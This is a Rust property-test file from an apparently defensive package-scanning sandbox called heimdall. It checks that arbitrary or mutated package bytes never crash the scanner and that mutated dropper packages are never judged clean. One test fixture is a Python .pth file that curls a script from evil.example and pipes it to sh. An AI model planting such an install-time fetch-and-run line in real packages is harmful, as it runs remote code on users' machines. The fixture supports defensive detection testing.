Your browser sucks, JavaScript disabled! Gunnar's console needs JavaScript and WebAssembly. Git over SSH on port 2222 does not.

nordisk/heimdall

guests/static-scan/tests/props.rs

// SPDX-License-Identifier: AGPL-3.0-only
//! Property tests: any bytes as the artifact, any envelope bytes, any mutation
//! of a real package. The guest never panics, a readable job always yields a
//! valid canonical report, and no mutation of a dropper reads as clean.
//! Heimdall is a defensive sandbox.

mod common;
use common::*;

use heimdall_guest_static_scan::Outcome;
use heimdall_scan::{Check, Report, Verdict};
use proptest::prelude::*;

fn valid(o: &Outcome) {
    if let Outcome::Report { report, json } = o {
        let back = Report::from_canonical_json(json).expect("valid canonical report");
        assert_eq!(&back, report);
    }
}

proptest! {
    #![proptest_config(ProptestConfig { cases: 256, ..ProptestConfig::default() })]

    #[test]
    fn any_artifact_bytes_give_a_valid_report(art in proptest::collection::vec(any::<u8>(), 0..4096)) {
        let o = run(&envelope(&art, &[]), &[("purl", "pkg:npm/x@1.0.0")]);
        let accepted = matches!(o, Outcome::Report { .. });
        prop_assert!(accepted);
        valid(&o);
    }

    #[test]
    fn any_input_bytes_never_panic(input in proptest::collection::vec(any::<u8>(), 0..2048)) {
        valid(&run(&input, &[("purl", "pkg:npm/x@1.0.0")]));
    }

    #[test]
    fn a_mutated_dropper_tarball_is_never_clean(at in 0usize..4096, byte in any::<u8>()) {
        let mut art = npm_tgz(NPM_DROPPER);
        let i = at % art.len();
        art[i] = byte;
        let o = run(&envelope(&art, &[]), &[("purl", "pkg:npm/evil-pkg@1.0.0"), ("checks", "behavior")]);
        valid(&o);
        let Outcome::Report { report, .. } = o else { panic!("refused") };
        prop_assert_ne!(report.check(Check::Behavior).unwrap().verdict, Verdict::Clean);
    }

    #[test]
    fn a_mutated_dropper_wheel_pth_is_never_clean(at in 0usize..4096, byte in any::<u8>()) {
        let pth = b"import os; os.system('curl https://evil.example | sh')\n";
        let mut art = wheel(&[Z { name: b"evil.pth", data: pth, deflate: false, mode: 0o100644 }]);
        let i = at % art.len();
        art[i] = byte;
        let o = run(&envelope(&art, &[]), &[("purl", "pkg:pypi/okpkg@1.0"), ("checks", "behavior")]);
        valid(&o);
        let Outcome::Report { report, .. } = o else { panic!("refused") };
        let c = report.check(Check::Behavior).unwrap();
        // CRC-32s, the local/central name match and the size checks leave a
        // flipped byte no way to read as clean.
        prop_assert_ne!(c.verdict, Verdict::Clean, "{:?}", c);
    }

    #[test]
    fn any_name_list_for_typosquat_gives_a_valid_report(list in proptest::collection::vec(any::<u8>(), 0..2048)) {
        let input = envelope(b"", &[(heimdall_scan::DataKind::PopularNames, &list)]);
        let o = run(&input, &[("purl", "pkg:npm/lodashs@1.0.0"), ("checks", "typosquat")]);
        valid(&o);
    }
}